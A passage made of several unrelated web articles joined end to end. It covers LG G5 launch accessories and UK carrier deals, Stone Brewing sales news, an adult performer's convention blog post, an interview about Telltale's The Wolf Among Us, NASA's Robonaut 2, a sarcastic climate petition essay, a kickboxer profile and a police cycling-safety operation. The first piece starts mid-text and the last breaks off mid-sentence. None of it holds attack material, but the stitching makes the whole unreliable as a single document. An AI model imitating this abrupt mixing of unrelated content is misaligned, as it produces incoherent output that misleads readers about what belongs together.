£149.  READ: LG 360 VR preview: A unique perspective on mobile VR  There are also external accessories. The LG 360 Cam is a 360 camera, using dual 13-megapixel cameras back to back. This wirelessly connects to the G5 so you can preview, save and share your 360-degree world. It captures both video and stills, perfect for making your own VR content and it is fully compatible with YouTube 360 video and Google Street View. The LG 360 Cam costs £199.  Talking of VR, there's also the LG 360 VR headset. This VR headset takes the form of glasses that you wear, connected to your phone via USB. It contains a display for each eye, offering 960 x 720 pixels each. For audio you can connect a set of headphones to the VR headset. It works with Google Cardboard and YouTube 360 video content, as well as LG offering its own hub within the headset. The LG 360 VR costs £199.  READ: LG 360 Cam: Capture your VR world  Finally, LG has announced the LG Rolling Bot. This cute ball carries a camera, speaker and mic and connects to your home Wi-Fi network. You can control it using your G5, driving around your house. It also contains a laser pointer, designed to entertain your cat or dog. There's no word on pricing for Rolling Bot.  The LG G5 launches on Android 6.0 Marshmallow, but heavily doctored as LG normally does.  The biggest change is the ditching of the apps tray, so now all your app shortcuts will appear on home pages. You still get to make folders and move things around, but there will no longer be a shortcut to tap to take you through to your selection of apps.  There will be added software support for the LG Friends, with a Manager app to take care of those connected devices.  The LG G5 was unveiled on 21 February 2016 at Mobile World Congress in Barcelona and it will be available from 1 April in the US and 8 April in UK.  Pre-orders have opened at many of the major networks and retailers, and several of them are offering unbelievable incentives to get you to sign up with them. Virgin Media is even giving away a 32-inch TV to customers to wait to buy the phone from its store on release date.  SIM-free, the handset will be available for £529 and in three colours, grey (Titan), gold and silver from multiple retailers. The following are if you want it on a contract - there are plenty of attractive deals on offer.  To celebrate the phone's connection with Bang & Olufsen, Carphone Warehouse is including a pair of B&O Play H3 in-ear headphones worth £149 with every pre-order while they last.  The high-street retailer is offering the phone across several networks, including EE, O2, Vodafone and its own iD provider. One of the most economical price plans is £37.49 a month for a 24-month plan and £29.99 upfront cost.  That'll get you 5G of 4G data a month and unlimited texts and minutes on EE.  Alternatively, you can get the monthly cost down to £26 a month if you pay £149.99 upfront. That gets you 3GB of monthly data and unlimited texts and minutes on Vodafone.  You can also get deals without upfront costs for the handset from £37.50 a month.  The grey, gold and silver versions of the LG G5 are all available.  FIND OUT MORE: Carphone Warehouse  Instead of Carphone Warehouse you can opt to go straight to the networks. EE, for example, is offering even more freebies. It ups the ante by giving away a similar set of B&O Play H3 in-ear headphones and adding a B&O Play S3 Bluetooth speaker - a combination set it claims is worth over £400.  It only ranges the grey (Titan) and gold handsets, but plans start at £29.99 a month for 24 months, with the handset costing £99.99 upfront.  That will get you 1GB of 4G data, 500 minutes of talktime and unlimited texts.  If you want to pay less upfront for the phone, the cheapest deal is £39.99 a month for 24 months with a £9.99 upfront cost. That gets you 4GB of data and unlimited texts and minutes.  Ordering the phone from EE will also get you Wi-Fi Calling and 4G calling, which means that voice calls will switch to data connections if the mobile signal is not strong enough. It will default to your Wi-Fi network at home, for example. You only get that when ordered directly from EE.  FIND OUT MORE: EE  If you're after a new telly and willing to wait until the 1 April release date, Virgin Media has a staggering deal for LG G5 purchases. It is giving away a free 32-inch LG HD TV when customers purchase the phone from that date.  The 32LH510 TV is worth £250 and will be available from launch day, so just hold off from pre-ordering if you want to snag one.  Freestyle price plans will start at £31 a month with no upfront fee for the LG G5 itself. That will include 250MB of 3G data.  Virgin Media's Freestyle plans also offer the ability to increase or decrease the monthly airtime tariff every month. And the Wi-Fi Buddy app will hook you up to thousands of secure Wi-Fi hotspots around the UK for free.  The phone will be available from Virgin Media's website and in-store from 1 April.  FIND OUT MORE: Virgin Media  Like Carphone Warehouse, Vodafone is giving away a free pair of B&O Play H3 in-ear heaphones with every pre-order on a Red or Red Value Bundle plan.  The first 2,000 customers who pre-order the phone will get the additional headphones, worth £149, and you need to get your order in by 31 March as the phone ships on 1 April, like with others.  Vodafone is offering the LG G5 in grey (Titan) and gold colours on 24-month price plans, starting at £29 a month with an upfront cost of £49 for 1GB of 4G data, 1,000 talk minutes and unlimited texts.  Alternatively, you can get the phone for a £9 upfront cost on a £34 a month tariff. That includes 2GB of data and unlimited minutes and texts.  Vodafone Red Value plans also include six-months of Netflix, Now TV, Spotify or Sky Sports and inclusive calls to the UK from Europe from £39 a month with a £9 upfront handset fee.  FIND OUT MORE: Vodafone  O2 are offering a similar deal to Vodafone and Carphone Warehouse, with a free pair of B&O Play H3 headphones with pre-orders, although this deal expires on 7 April, so you have to be fast.  You'll be able to get a 32GB handset with no upfront cost for £32 a month, scoring yourself 1GB of data.  FIND OUT MORE: O2  Like O2, Three is yet to reveal details about its LG G5 pre-orders or price plans.  We expect Three to post details on its webpage at three.co.uk soon.
-(Escondido, CA) – Stone Brewing still rocking…  …It was announced at the Craft Brewers Conference that 14 of the top 40 craft breweries were above 30% sales growth in early 2011 (per Victory Brewing). All indications are pointing to craft beer surpassing the startling growth numbers of 2010.  Stone is among those leading the charge. As a bonus, it looks like they won’t have to pull distribution anywhere (at least not out of necessity). Per a newsletter sent out this morning, “First quarter numbers are in and we are cruising at a lovely 42% increase. What, you ask? Will we have enough beer? All signs point to yes. We’re working around the clock to continue to meet the ever-escalating demand! So rest easy and sell lots of our beer.”  …As of today, Missouri is the 37th state to sell beer in Stone Brewing’s portfolio. Launch events take place around the Show Me State beginning Tuesday.  …A peek at distributor performance shows some interesting findings (bear in mind that Stone turns 15 years old this year):  Stone’s #1 wholesaler in terms of case equivalents sold (an industry-standard measure that accounts for both on-premise and off-premise sales) is Ben E. Keith in Texas. If I’m interpreting this blog post correctly, only two beers in Stone’s portfolio were available from 2001 to September 2008: Stone IPA and Arrogant Bastard Ale. Much of that growth has happened in just 2.5 years with the expansion into new territories in Texas and the rest of Stone’s product line funneling down to the Lonestar State.  After just one year in Chicago, Windy City Distribution is already the brewery’s 6th-ranked wholesaler in CEs sold.  Click Wholesale in Washington is the fastest-growing wholesaler for Stone (among those selling at least 14k CEs annually).  …Social Media Coordinator, Jacob McKean, noted that the delays with Imperial Russian Stout Classic and Belgo Anise Imperial Russian Stout have more to do with bureaucratic red tape (my words, not his) more than anything else. Labels have been approved at the federal level but the feds must also approve a statement of process for each beer. Also taking up time in this process are approvals at the state level, wholesaler pre-orders, printing and labeling. The newsletter made mention of the possibility of the two beers not making it out until early June but the current release date remains 5/31.  2011 Specialty Release Dates:
-Hello! I did a signing in L.A. at the Exxxotica convention last weekend and wanted to share some of the pictures with you. Unfortunately, I wasn’t wearing a superhero costume, so hopefully you cosplay fans can forgive me, LOL. Instead I was wearing a body hugging dress that, erm..., showed off my curves.  The first day I was signing at the Penthouse booth to represent my being Danni’s Hard Drive Girl of the Month for August. The second day I was signing at the Club Spotlight booth.I also took part in a seminar of stopping piracy in adult entertainment. That was pretty interesting. They had me on to talk about my not safe for work website and how I try to reduce the illegal downloading of the videos on it.There were a lot of my hot girlfriends signing there like Allie Haze, Andy San Dimas, Lexi Belle, Chyna, Belladonna, Teagan Presley, Charlie Lane, Phoenix Marie, Misti Dawn, Breanne Benson, Kirsten Price and Ann Marie Rios. Allie was dressed as Princes Leia from the Star Wars adult video parody she’s starring in. Which explains the picture of me and Darth Vader, LOL.Have a look and LMK what you think, here or on Twitter  Tanya  xx
-To hear Telltale tell the tale, The Walking Dead wasn’t built to be a wildly acclaimed game of the year award magnet. A good game? Yes. A great story? Clearly. But not a bowling ball catapult into zombified super stardom. With all eyes suddenly on the once-unassuming developer, “that Fables game” has an incredibly tough act to follow. But The Wolf Among Us is a) about a gruff, nicotine-addicted werewolf detective and b) not about gazing sullenly out the window while protesting, “No, it’s just the rain/my allergies/this waterfall we’re standing under.” It takes place in a mad fantasy reality where anything can happen – except, um, the undead apocalypse. It’s maybe a bit different. So, where does Walking Dead’s DNA end and Wolf Among Us begin? What about Fables-specific issues like mystery-solving, a pre-established main character, wolfed-out combat, and a somewhat controversial creator? I spoke with Telltale president Kevin Bruner about all of that and more.  RPS: The Wolf Among Us takes place in pseudo-modern times, but under a premise that’s far more surreal. Walking Dead was at least grounded in…  Bruner: Real people in a zombie apocalypse.  RPS: Whereas this is a lot more outlandish and crazy. How are you embracing and leveraging that? What are the biggest changes?  Bruner: In a lot of ways I think Fables is the hardest thing we’ve ever done to date. In Walking Dead, Lee and Clem were inventions. They could be things that were convenient for the game world. Their backgrounds, their personalities, the way they react to things. We could craft those characters in a way that was fun to role-play as and fun to interact with. With Fables, you play Bigby Wolf. He has to be Bigby Wolf. Snow has to be Snow. The world has a stricter set of rules than Kirkman’s zombie world. The role that you play, as a kind of detective and the sheriff of Fabletown, isn’t as life and death as “I am protecting Clementine from being eaten by zombies.” The bar is set a lot higher for us as far as how we make all that work.  [pullquote]I think Fables is the hardest thing we’ve done to date.[/pullquote]  But we really have embraced it. We’ve come up with new storytelling techniques. We call it the evolution of choice. A big thing in Walking Dead was going where the story took you, and we would throw these choices at you, but you couldn’t really determine what was going to happen next. Whereas in Fables, the choices you make in the moment are all there, like in Walking Dead, but there are places where it branches timeline-wise.  Two events are happening at the same time and you have to choose which event you’re going to interact with. When you get there, you make the same kind of in-the-moment choices, but there’s stuff happening somewhere else at the same time. Not only do you get to choose what to say and how to treat people, but you also get to choose when and where you’re saying it. If you go one way, people will be like, “Where were you? We were over here and we could have really used you.” You have to explain why you weren’t there. These are all new role-playing aspects that we’re using as tools to help us stay within the bounds where Bigby Wolf can be Bigby Wolf and the Fables universe can stay consistent.  RPS: Is that how you’re handling the issue of ownership of a pre-established character? Like you said, Lee was your own invention. Bigby’s an animal of an entirely different (and literal) sort.  Bruner: It’s interesting. He’s the sheriff, right? Your first instinct is that it should be a crime-solving game. We’ve done a bunch of forensics games at Telltale before. Where we landed was, he’s the sheriff of Fabletown, and there’s a crime, and it’s a story about a sheriff figuring out what’s going on with a crime, but the gameplay isn’t [necessarily crime].  That’s the backdrop. That’s what happens. But the gameplay is about relationships. It’s about how Bigby and Snow start to come closer together. There, in canon, Snow isn’t the deputy mayor yet. You can see how Crane treats her. You can start to form some opinions about… Bigby can express to Snow, “Well, don’t do that,” or “I’m gonna go and kick his ass.” Those kinds of things. We let you explore that level of detail, in the context of this narrative of this crime and this event that happens in Fabletown. That’s the backbone that you ride along. The gameplay is about something different.  It’s not like an L.A. Noire crime-solving game. But the story is about investigating and interviewing and things like that.  RPS: Aside from those moments where you can choose to go to one event or another, is this story by and large fairly linear? Or is there more exploration to it?  Bruner: There’s more non-linear areas in each episode than there are in Walking Dead, but certainly early on in the episodes, they all end in the same place that you can share with your friends.  RPS: You recently mentioned that Telltale sort of “begrudgingly” adds adventure game-y elements to its stories. You’re trying to,er, tell tales first and foremost. Compared to Walking Dead, is this even less puzzle-heavy?  Bruner: Yeah, I’d say it’s less puzzle-heavy, but that’s because the core narrative, being a mystery, has more intrigue built into it. I think some of the same questions that a puzzle, in a more traditional adventure games, might pose in your head, like “How am I going to do this?”, it’s more like, “What does this information that I have right now mean?” In some ways it’s like a whodunit kind of thing. I think you feel a lot of the same things you might feel if there were more puzzles, but it’s not a puzzle game, in the same way. I think it’s mentally challenging in the same way as a puzzle game, but that’s more because of the whodunit nature of the tropes.  RPS: How does the whodunit part function? Can you make a wrong call? Can you accuse someone who’s entirely innocent?  Bruner: A big part of the choices that you make is how you interpret the information that you know right now. That’s one thing that’s going to be a lot of fun. The game certainly isn’t set up in a way where it rewards or punishes you for making a call. If you say, “I think all the events that I saw mean this, or this other thing,” it just allows you to express that. The world comes back and says, “Well, if it means that, then this follows.”  But it’s very non-judgmental. The story allows all that space to exist. It feeds that kind of detective story whodunit intrigue. Okay, you saw this, what does it mean? What we want is for you to say, “I don’t know what it means.” Narratively you don’t have enough information to know exactly what it means. You could say, “I think it might mean this,” and then the story will start telling itself. If that’s what you think it means, we’ll give you a bit of information that reinforces that, or maybe a bit of information that will make you question that, and we’ll take it from there. I think that makes it really engaging. It feels cool.  RPS: Bigby is also, at heart, a gigantic wolf monster. He fights, right? How are you approaching combat in this one? I’m guessing you’ve evolved it quite a bit from Walking Dead.  Bruner: Yeah, the fight sequences are completely over the top. They’re fables, right? They’re hard to kill. One of the things we didn’t want to do was make it feel like it turned into a superhero game. When fights break out, we want you to get excited. You feel the fight coming and you have the controller in your hand, and then the fight gets so over the top that you’re like, “Whoa, hold on, that’s not exactly what I was going for there.”  Bigby, when he becomes the wolf, he’s out of control. We want to convey that to the player. The level of control and the things that you can do when Bigby is the wolf aren’t exactly the expected things. You’ll be like, “Yeah, I’m totally going to be a big badass right now and punch that guy in the face.” So you punch that guy in the face, but you punch his face off. There’s blood everywhere. It’s totally brutal. As a gamer, we want you to be like, “OK, that’s not exactly what I meant. I meant I wanted him to be a big badass hero. Then I obliterated this guy in a horrible way.” That’s kind of like Bigby being out of control and when he wolfs out, he doesn’t always do [what you’re expecting].  [pullquote]Bigby’s a wolf – not a superhero. He’s being his DNA, what’s inside him.[/pullquote]  He goes a little overboard most of the time. It’s a reflection of the Fables thing. They’re not Superman and Batman fighting. He’s not a kung fu master. He’s a wolf. It’s very animalistic. He’s not being a superhero – he’s being his DNA, what’s inside him.  RPS: With the combat, how direct is the control for the player? Is it just a few little QTE button inputs, or are you fully moving him around?  Bruner: It’s cinematic combat. It’s kind of QTE-ish. More like what we did in Walking Dead. It’s not like an Arkham Asylum kind of combat, where you can target people and things like that. The sequences are scripted in a way so that they’re timed and dramatic. You shouldn’t feel like you’re getting scored. There’s not a power meter or anything like that. It’s still very cinematic. We want to be telling stories all the time. Coming back and putting a power meter up, for us, is not narratively the right thing to do.  RPS: But I saw in another report that you can get beaten up, and people will actually react to your battered appearance.  Bruner: Yeah, you can succeed to varying levels when you’re in a fight. You can lose fights. Sometimes you can intentionally lose a fight, if you think that’s the right thing to do. Then, if your face is all beat up and bruised and you go back to Snow, she might be like, “What the hell happened to you? I thought you were a tough guy?” Or she might say, “What the hell happened to you? C’mere, let me warm up to you a little bit, get a little closer.” You can kind of use the fighting narratively as a tool if you want to. That’s more what getting beat up is about.  RPS: It’s interesting that you’re approaching combat from the narrative perspective first and foremost. Combat is one of gaming’s main means of interaction, but gratifying violence is always the end goal. What’s it like reinventing a very common game trope for an entirely different purpose?  Bruner: It’s pretty hard. How do we do it cinematically? How do we look at really great fights in the movies and more linear mechanisms? Why are they compelling? Why do you care what’s happening in a fight? We’ve been working on it all through Jurassic Park, all through the zombie attacks and the different activities you do in Walking Dead, and I think Fables is our next iteration of it.  But the fighting in Fables is definitely a result of different combat prototypes that we’ve done over the years. It’s hard, because in games, in skill-based gaming, you have arena fighting games, which is all about dexterity and memory and button combos. They’re really compelling to play. The line gets really close between video game fighting, for skill-based rewards, and a fight in a story-based game that is narratively important. That’s a really fine line to tread, a difficult line to tread.  RPS: For all its fantastically brutal emotional and narrative beats, Walking Dead didn’t look so great. It moved really robotically, and the art style kind of clashed with everything else. Wolf Among Us is quite a looker in still shots, though. Is fluidity and animation getting a similar treatment?  Bruner: We get pretty maniacal about making things look the way that they’re supposed to look when we get into various IP. We have what we call a “living ink” look for the game. When we released the first round of screenshots, there was a lot of, “Holy crap, is that concept art?” It’s the game. The game really looks like that when it’s moving. It’s not cel-shading in the more traditional cartoon cel-shading. It’s a very flat look that looks more like inked comic books.  We’ve invested a lot in some technology to make it look like a comic book, like a newsprint comic. Then we keep iterating on what our actors can do, trying to make our animations look better. But we’re always challenged by the amount of content that we do. Every game is like trying to do an animated feature film, a five- or six-hour animated movie on a very small budget in a very short amount of time. We have a lot of tricks up our sleeves to do that. We keep trying to get better at it. But on this one, I think the art direction is very bold, very cool. The overall look that comes out is very unique. I haven’t seen anything that quite goes to the extent of looking like a regular printed comic the way Fables does.  RPS: Are seasons of Wolf Among Us and Walking Dead going to run concurrently, or will it be one and the other alternating?  Bruner: We’re not announcing any release dates for anything other than Fables right now, but certainly we’re gearing up to have multiple games or shows running simultaneously. We’ll have an episode of one thing coming out at the same time as an episode of another thing, which we’ve never done before. We’re definitely getting prepared for that.  You talked about the technical problems. One of the things that we want to make sure of is that, before we get two games going simultaneously, we get one game going without people having saved game problems and technical issues like that. That’s our immediate goal, to get Fables out there, get it clean, feel confident that if we have two of these things going simultaneously, we have the bandwidth to support it properly. We feel pretty confident that we’re there, but the proof’s in the pudding. We’ll have to wait until Fables launches.  RPS: I’ve only recently gotten into Fables myself, but I keep hearing of controversy attached to its creator. He’s said some things about Israel apparently, and he even alluded to it in the comic once. But do you think that stuff’s really an issue – especially for your game and your story?  Bruner: I don’t think our story is overly conservative or has any kind of personal political slant to it or anything like that. Bill [Willingham] has been great to work with. I’ve heard similar things, but in our interactions with him, he doesn’t seem like he has an agenda or anything like that. He just seems like he wants to tell a great story with these characters.  RPS: It’s always an interesting thing to see, when people just will not remove a creator’s work from the creator themselves. In some cases it’s maybe warranted. Case in point: Orson Scott Card. But is that at all a concern for you guys?  Bruner: It hasn’t really come up so far. Fables is a comic book. Fables doesn’t have a TV show. The really hardcore Fables audience is still relatively small. We feel like one of the things that we’re trying to do is to get a lot more people introduced to Fables. So I think everyone’s aware that, for a lot of people, the Fables game is going to be their first contact with the franchise. We feel like we have a lot of heavy lifting to do, just about Fabletown and the Mundies and all that.  When we get to that level of, “Is there an agenda to it or not?” you have to get pretty deep into the IP. Most of our effort is focusing on people who are new to the franchise and explaining why these fairy tales live in New York and how long they’ve been there and what the relationship is with the mundane world. We have an enormous amount of expositional ground-level work to do.  RPS: Especially relative to The Walking Dead, because even if it’s its own universe, it’s still like, “This is the world. Now there are zombies in it. That’s pretty much it.”  [pullquote]We’re gearing up to have multiple games or shows running simultaneously.[/pullquote]  Bruner: If you say it’s a zombie story, you have a big head start, whereas the Fables universe is really sophisticated and really complicated. Getting people up to speed with enough of it that they understand how the game is working has been a real challenge. We’ve deliberately focused on just a few aspects of the world to start with, because if you try to go wide and explain everything – which we did contemplate at one point, having a big speech at the beginning of the game where we figured out a way to dump as much information as possible, like at the Remembrance Day festival or something like that – [it’s too obvious]. We’ll talk about the Mundies. We’ll talk about glamours. We’ll talk about how they got to Fabletown. And we’ll leave the rest of it for episode two [laughs].  RPS: Personally, I think that’s probably the better way to go. Usually, when there’s an exposition dump, most people can pick up on it. People are pretty story-savvy.  Bruner: Yeah. We want to be clever about it. The Remembrance Day is a great time to talk about the past. Can we squeeze that into two minutes and feel like people understood what they were doing, though? We explored that for a little while, and we said, “No, let’s just start small.” Start small, start intimate, try to get people engaged in what they’re doing, and let the story get bigger as it goes along.  RPS: For better or worse, I think all eyes are on you right now, because Walking Dead was such a success. Admittedly, the follow-up to Walking Dead is Walking Dead season two. But a lot of people will look at Wolf and say, “That’s the follow-up to Walking Dead,” because it’s the next thing sequentially. When you have that kind of comparison, how do you manage it? How do you manage the fact that a lot of people are going to be coming to your game because they liked The Walking Dead?  Bruner: You do two things. You continue to do the best work you can possibly do, and then you run in the corner and hide as much as possible [laughs]. It’s tough coming on the heels of such a successful and an important game to people, saying, “Hey, do you want to try this other thing?” We think a lot of people who played Walking Dead will really like Fables. It may not be for all of them, because it’s a different context. Maybe some people who never played Walking Dead, Fables will be their thing.  But we believe that Fables is the right kind of world for us to play with. It works really well for the kind of games that we want to make. We didn’t know Walking Dead was going to be what it was, so hopefully, as long as we stick to our guns and the same things we thought were important with Walking Dead… If we’re doing that with Fables, hopefully it will resonate the same way with people.  Check back tomorrow for part two, which digs deep into Telltale’s super-duper secret (and very interesting) experimental projects. Complex non-combat AI, being able to say whatever you want to characters, atypical games that bridge the gap between seasons – those sorts of things. Also, we talk about why King’s Quest ended up falling by the wayside.
-Advertisement  In one giant leap for robotkind, NASA will send the world’s first humanoid robot to space later this year.  The humanoid, called Robonaut 2 or R2, is set to launch on space shuttle Discovery on 1 November, 2010, and travel to the International Space Station, where it will become a permanent resident and work alongside humans as a robotic helper.  The Robonaut features dexterous arms and hands that can manipulate objects and tools just like humans do. Astronauts will mount the robot on a fixed pedestal inside one of the space station labs and use it to perform tasks like flipping switches, cleaning air filters, and holding tools.  The main goal is to find out how manipulation robots behave in space -- and also give crew members a second pair of hands. NASA hopes the experience will allow it to upgrade the robot in the future, so it would be able to support astronauts in more complex tasks, including repairs and scientific missions inside and outside the ISS.  "It’s the first time ever in the history of the planet that we’ve decided to launch a humanoid robot into space," says Nic Radford, the Robonaut deputy project manager. "It’s been an amazing experience."  The robot can perform tasks autonomously or under remote control, or a mix of both. Astronauts on the station will operate the robot using a laptop. The Robonaut can also be "joysticked" and directly controlled from Earth, though there's a delay of several seconds for commands to reach the space station.  Most of the time the robot will receive instructions designating a task and carry it through autonomously. But NASA has tested a sensor suit that a human operator can wear to transmit motions to the robot. Eventually the Robonaut could become a powerful telepresence system for space exploration.  And why a human-shaped robot? The advantage of a humanoid design, Radford says, is its ability to interact with the same exact technologies that the crew can.  “Space shuttles and stations were made with humans in mind,” he explains. “The technology we’ve invested in over the years requires five fingers and two arms to operate. So the humanoid system with fine points of dexterity is a logical design as opposed to redesigning the shuttle interface for a non-humanoid robot.”  The Robonaut, which looks a bit like Star Wars' Boba Fett, is about 150 kilograms [330 pounds]. Built primarily with aluminum with steel parts, it carries over 350 sensors and has a total of 42 degrees of freedom.  Each arm is about 80 centimeters long and can hold 9 kg [20 lb] in Earth's gravity. Each hand has 12 degrees of freedom: 4 degrees of freedom in the thumb, 3 degrees of freedom each in the index and middle fingers, and 1 each in the other fingers.  Behind its helmet visor are four visible light cameras: two provide stereo vision for the robot and remote operators, and two work as auxiliary cameras. A fifth infrared camera is housed in the mouth area for depth perception.  Because the head is full of cameras, the robot's computer system -- 38 PowerPC processors -- are housed inside the torso. Or as NASA puts it, "R2 thinks with its stomach -- literally."  This version of the robot has no legs or wheels. It's 101 cm [3 feet, 4 inches] tall from waist to head. “From the waist up he looks quite like me,” Radford jokes. “Big biceps and very muscular.”  Working with GM over the past three years, NASA originally designed Robonaut 2 as a prototype to be used on Earth so engineers could understand what would be needed to eventually send a robot to space. But when mission managers saw the robot early this year, they were so impressed they decided to send it to the space station. The Robonaut team was given six months to get the robot ready.  Here's an overview of the project:  In a second phase of the Robonaut project, at an undecided date, NASA will be making the unit mobile using a leg-type system, giving it the ability to move around inside the ISS. The third phase will feature a robot that will perform missions outside the space station.  The Robonaut is also a part of Project M, which wants to put a humanoid robot on the moon in 1,000 days -- beating Japan’s proposed goal of 2015. Even if the effort, which Radford describes as "a quick, hot burn project," is not successful, it will likely develop useful technologies.  It seems the future of space exploration will surely include advanced telepresence robots with expert operators controlling them safely from Earth. But Radford sees the robots being used in cooperation with humans, not replacing them completely. “They are just another tool in a human explorer’s toolbox,” says Radford.  “This is the dawning of a different era,” he concludes. “Ubiquitous robots that are in and around us, doing everything. We represent the beginning of that.”  As for Robonaut, it's currently cocooned inside a foam-cushioned aluminum frame called the Structural Launch Enclosure to Effectively Protect Robonaut, or SLEEPR for short, where it's awaiting to rocket to space. Bon voyage, Robonaut!  Watch Robonaut getting ready for the big trip:  Images and videos: NASA
-Guest essay by Eric Worrall  The Australian ABC, a government news organisation, reports that 100s of scientists who attended a 4 day conference in Australia’s capital Canberra last week are all sad about what we are doing to our planet. But there is something we can do to help.  Climate change: Scientists sad, frustrated as extreme weather becomes the new norm By Riley Stuart Call it fatigue, call it frustration, but some of the best brains in the country are fed up. Australia’s leading climate scientists joined their New Zealand counterparts in Canberra for a four-day conference last week, but dark clouds lingered over their discussions. The theme of the conference was “Australasian weather, climate and oceans: past, present and future”. And global warming was never far from the guests’ lips. “There is definitely what you would call ‘climate fatigue’ on the part of scientists,” said Dr Andrew Glikson, from the Australian National University’s School of Archaeology and Anthropology. “There were hundreds of scientists there, and my impression is while we continue to do the science as best we can, there is a fatigue when it comes to arguing in public. …  Read more: http://www.abc.net.au/news/2017-02-15/climate-change-blamed-for-australia-extreme-weather-events/8268692  Will Stefan, one of the authors of The Anthropocene Equation, a claim that 0.7C / century is exceptional, attended the event. Apparently he was sad as well.  I understand how deeply these people care, which is why I have decided to do something to help.  Please sign my change.org petition, Help Climate Scientists avoid Personal CO2 Emissions.  When climate scientists have full time access to world class video conferencing technology, they will be able to avoid attending all those climate conferences in person. Climate scientists will be able to avoid the mind numbing guilt they must currently feel about their personal carbon footprints, as they soar above our heads flying on CO2 belching jet aircraft to attend all those climate conferences.  Please take the time to show you care. Sign the Petition, and if you have time, leave a personal message of support for our hard working jetset climate community.  Don’t forget to send the petition to your friends, so they can sign as well.  Advertisements  Share this: Print  Email  Twitter  Facebook  Pinterest  LinkedIn  Reddit
-When you bring high level strikers under one roof together, you’re bound to get something spectacular in every event. That’s what GLORY kickboxing presents to the world currently: the biggest stage for kickboxers. Thankfully I have a friend there that green lit my breakdowns.  Joe “Bazooka” Valtellini’s High Kick  The first person I wanted to feature is Joe “Bazooka” Valtellini. He’s unique because of his rise and his story. While working as a full-time special education teacher, he also pursued his world championship dreams. As an amateur, he was undefeated under modified Muay Thai rules: 11-0.  Born in the rich Muay Thai community of Toronto, he studied under one of the best–Paul Minhas. Minhas had long been in the K-1 and MMA arena and being the head coach of Gary Goodridge. Minhas also studied under Ajahn Suchart of the famous Siam #1, a well known school that’s home to North American Muay Thai stars like Clifton Brown, Matt Embree, and Simon Marcus.  However, due to the combat sports laws in his province, Bazooka had difficulty finding amateur fights. With a short amateur career, he’d turned pro in 2010, fighting under the “Friday Night Fights” Muay Thai promotion in New York. There, he defeated highly ranked North American Nak Muays, all with t(ko). That moved him to fight under Lion Fight, North America’s biggest Muay Thai promotion. He faced against a very experienced Muay Thai fighter, and as Friday Night Fights is not full Muay Thai rules, it was a difficult jump. Bazooka lost for the first time via decision.  After one more full rules Muay Thai bout, he joined Glory, and took on fighters with 10 times his experience. With dynamite punches and kicks, he again finished all of them. He was given Murat Direkci on his first fight–a European champion with over 90 fights and a 90% finishing rate. This fight is a must-watch, see how composed Bazooka was with just 8 professional fights.  https://www.youtube.com/watch?v=DyVVQjbVEtM  Fight Against the Greatest Karate Kickboxer  On his 4th fight, he met Raymond Daniels, whom many consider to be the greatest American Kickboxer (full-contact karate) of this era. Daniels was undefeated, and no one before Bazooka knew how to deal with him.  The answer was ring cutting, pressure, and low kicks. A bit ironic that Duke Roufus was commentating this, knowing exactly how to deal with Raymond Daniels. It’s been a long way since “The Legendary Fight That Changed History” between Changpuek Kiatsongkrit and his older brother Rick Roufus.  Tournament Finale: Nieky Holtzken  This advanced Bazooka to the finals for a world championship match with Nieky Holtzken, whom many consider to be the best kickboxer competing today. It was a war and competitive match, but Bazooka was down on points. In the last round, he’d bite down and go out on his shield. To the world, he showed tremendous heart, and the fight was just stopped seconds before the bell could ring. Duke Roufus could barely contain his excitement during this bout.  Marc De Bonte: Another Shot at the Title  As the champion, Holtzken would get injured, and Marc De Bonte would capture the title in his place. It was then that Valtellini got another shot at the title. This time, he took home the gold.  Fighting for Glory Documentary  If you want to see a beautiful combat sports documentary, be sure to check this one out. Look behind the scenes on the fastest rising kickboxer and how he captured the prestigious world title in essentially just 6 kickboxing fights.  Great martial artists are also great human beings–it’s unfortunate that Valtellini had to halt competition due to injuries. Unlike MMA where there are big media companies and organizations sharing their story, kickboxers who are equally great athletes do not get their legacy passed on. It is up to the fans to show support to them and make sure it does.  Podcast with Muay Thai Guy  Be sure to subscribe to my mailing list in order to get a sneak peak and release dates on my e-book. My Nak Muay Nation partner, Sean “Muay Thai Guy” Fagan was fortunate to do a private session with Bazooka and great fight knowledge was shared. I have since then written an in-depth discussion of the ideas surrounding it. With the e-book, many more legends and their fight ideology will be featured and discussed.  Comments  comments
-This week at the House of Lords the Road Danger Reduction Forum presented an award to West Midlands Police—in particular Pc Mark Hodson and Pc Stephen Hudson—for their Operation Close Pass initiative, which targets drivers who pass too close to people cycling when overtaking them. I was invited along to see them receive the well-deserved award and hear more about the details of the operation, as well as about how it has been adapted for use in Camden.  The award  This was the first time in its 23 year history that the RDRF has given a genuine award: the sole previous occasion was a wooden spoon in 2012, in recognition of the West Sussex Gazette’s use of the phrase “a collision involving a car and a tree”. (Personally, I’m not sure that constitutes even a blip on the contemporary scale of dreadful reporting.) And this is some measure of the esteem in which Operation Close Pass is held: it was described by Cycling UK as “the best cyclist safety initiative by any police force, ever” and I’ve yet to see anyone dispute that. Importantly in this context, it aligns well with the RDRF’s underlying principle of danger reduction at source and quite explicitly steps away from common misconceptions about the extent to which people on pedal cycles or on foot can prevent themselves from being hit by other people in motor vehicles.  Motivation  One crucial aspect of the conception of Operation Close Pass was careful consideration of evidence beforehand. WMP looked at the STATS19 data for the area and came to some interesting conclusions, which are summarised in a seminal blog post, “Junction Malfunction and a New Dawn” (if you’ve not read it, you absolutely should, now—it is something of a tectonic shift in aligning the police’s view with a number of points that most cycling and walking campaigners have been making for many years).  The basic point is that the evidence suggests that, in terms of public harm cause by cycling casualty collisions, little is due to environmental factors, little is due to the behaviour of people on bikes, and much is due to behaviour of people in cars. This is unsurprising when you consider the principle of road danger: the cause of it is not so much poor behaviour itself, but the combination of poor behaviour and a vehicle which allows that behaviour to pose great danger. It’s why we let children ride bikes but not drive cars.  The major casualty risk manifests itself at junctions by way of drivers’ failure to observe people on bikes. As Pc Hudson says in his blog:  75% of KSI [killed or seriously injured] RTCs [road traffic collisions] involving cyclists in the West Midlands from 2010 to 2014 occurred within 20 metres of a junction, involving a cyclist and another vehicle. Further analysis (I won’t bore you with the figures, tables etc.) showed that the majority of KSI RTCs in the West Midlands involving cyclists occur when a car has pulled out of a junction in front of a cyclist that is mid- junction because the car driver has failed to spot the cyclist.  So why the focus on close passing?  One reason is that it is something which can, unlike poor observation at junctions, be detected and proven relatively easily (using video evidence) and without waiting for a collision to have occurred. Another is that it cements in drivers’ minds the need to look for people on bikes, which may well improve observation at junctions. The fact that this is a covert operation is important: WMP understand that the feeling of possibly being caught is the most powerful aspect of traffic enforcement in terms of behaviour change, and key to that is the sensation that being caught could happen anywhere. But the third reason is perhaps the most interesting.  If you ask anyone who cycles what they are most concerned about, the 